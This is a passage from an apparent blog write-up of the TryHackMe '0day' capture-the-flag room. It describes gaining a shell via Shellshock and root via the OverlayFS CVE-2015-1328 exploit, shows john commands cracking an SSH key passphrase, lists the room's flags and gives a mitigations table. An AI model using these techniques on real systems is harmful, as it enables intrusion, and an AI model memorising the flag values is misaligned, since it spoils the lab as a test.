&lt;p&gt;Root, under a minute of compile time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Shellshock (CVE-2014-6271)&lt;/strong&gt; — malicious HTTP &lt;code&gt;User-Agent&lt;/code&gt; header injected via &lt;code&gt;/cgi-bin/test.cgi&lt;/code&gt;, triggering Bash to execute attacker-controlled commands. Resulted in a reverse shell as &lt;code&gt;www-data&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OverlayFS LPE (CVE-2015-1328)&lt;/strong&gt; — compiled C exploit abused a kernel permission validation flaw in OverlayFS to write to &lt;code&gt;/etc/ld.so.preload&lt;/code&gt; and load a malicious shared library, spawning a root shell.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The SSH private key from &lt;code&gt;/backup/&lt;/code&gt;.&lt;/strong&gt; I'd found an encrypted RSA private key at &lt;code&gt;/backup/index.html&lt;/code&gt;, converted it for cracking, and the passphrase fell almost immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh2john id_rsa &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hash.txt
john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output
id_rsa:letmein
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tried logging in as &lt;code&gt;0day&lt;/code&gt; (the homepage name) and &lt;code&gt;ryan&lt;/code&gt; (seen in &lt;code&gt;/home&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh 0day@10.49.181.37 &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa
ssh ryan@10.49.181.37 &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both failed with &lt;code&gt;sign_and_send_pubkey: no mutual signature supported&lt;/code&gt;, followed by password rejection. The server's OpenSSH 6.6.1 and a modern client disagree on acceptable signature algorithms — and even with the correct passphrase, the key just didn't match any authorized user on this box. The key was almost certainly left as deliberate misdirection. Dropped it and moved on to Nikto, which is where the real path showed up.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{Sh3llSh0ck_r0ckz}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/ryan/user.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{g00d_j0b_0day_is_Pleased}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Shellshock (CVE-2014-6271)&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Update Bash to 4.3 patch 25+ and disable or restrict CGI script execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OverlayFS LPE (CVE-2015-1328)&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Apply kernel patches — Ubuntu Security Notice USN-2610-1 addresses this&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exposed &lt;code&gt;/backup/&lt;/code&gt; directory&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Never store key material in web-accessible directories; restrict with &lt;code&gt;.htaccess&lt;/code&gt; or move outside the webroot entirely&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Outdated Apache (2.4.7)&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Keep web server software patched to current release&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Missing security headers&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;Add &lt;code&gt;Strict-Transport-Security&lt;/code&gt;, &lt;code&gt;Content-Security-Policy&lt;/code&gt;, and &lt;code&gt;X-Content-Type-Options&lt;/code&gt; headers to Apache config&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;A &lt;code&gt;cgi-bin&lt;/code&gt; directory on any server still running pre-2014 Bash is a Shellshock waiting to happen. Always pair directory enumeration with a vulnerability scan — what looks like a boring CGI endpoint can turn out to be your entire foothold, and a decoy SSH key sitting right next to it can eat ten minutes you didn't need to spend.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — 0day&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
  </channel>
</rss>
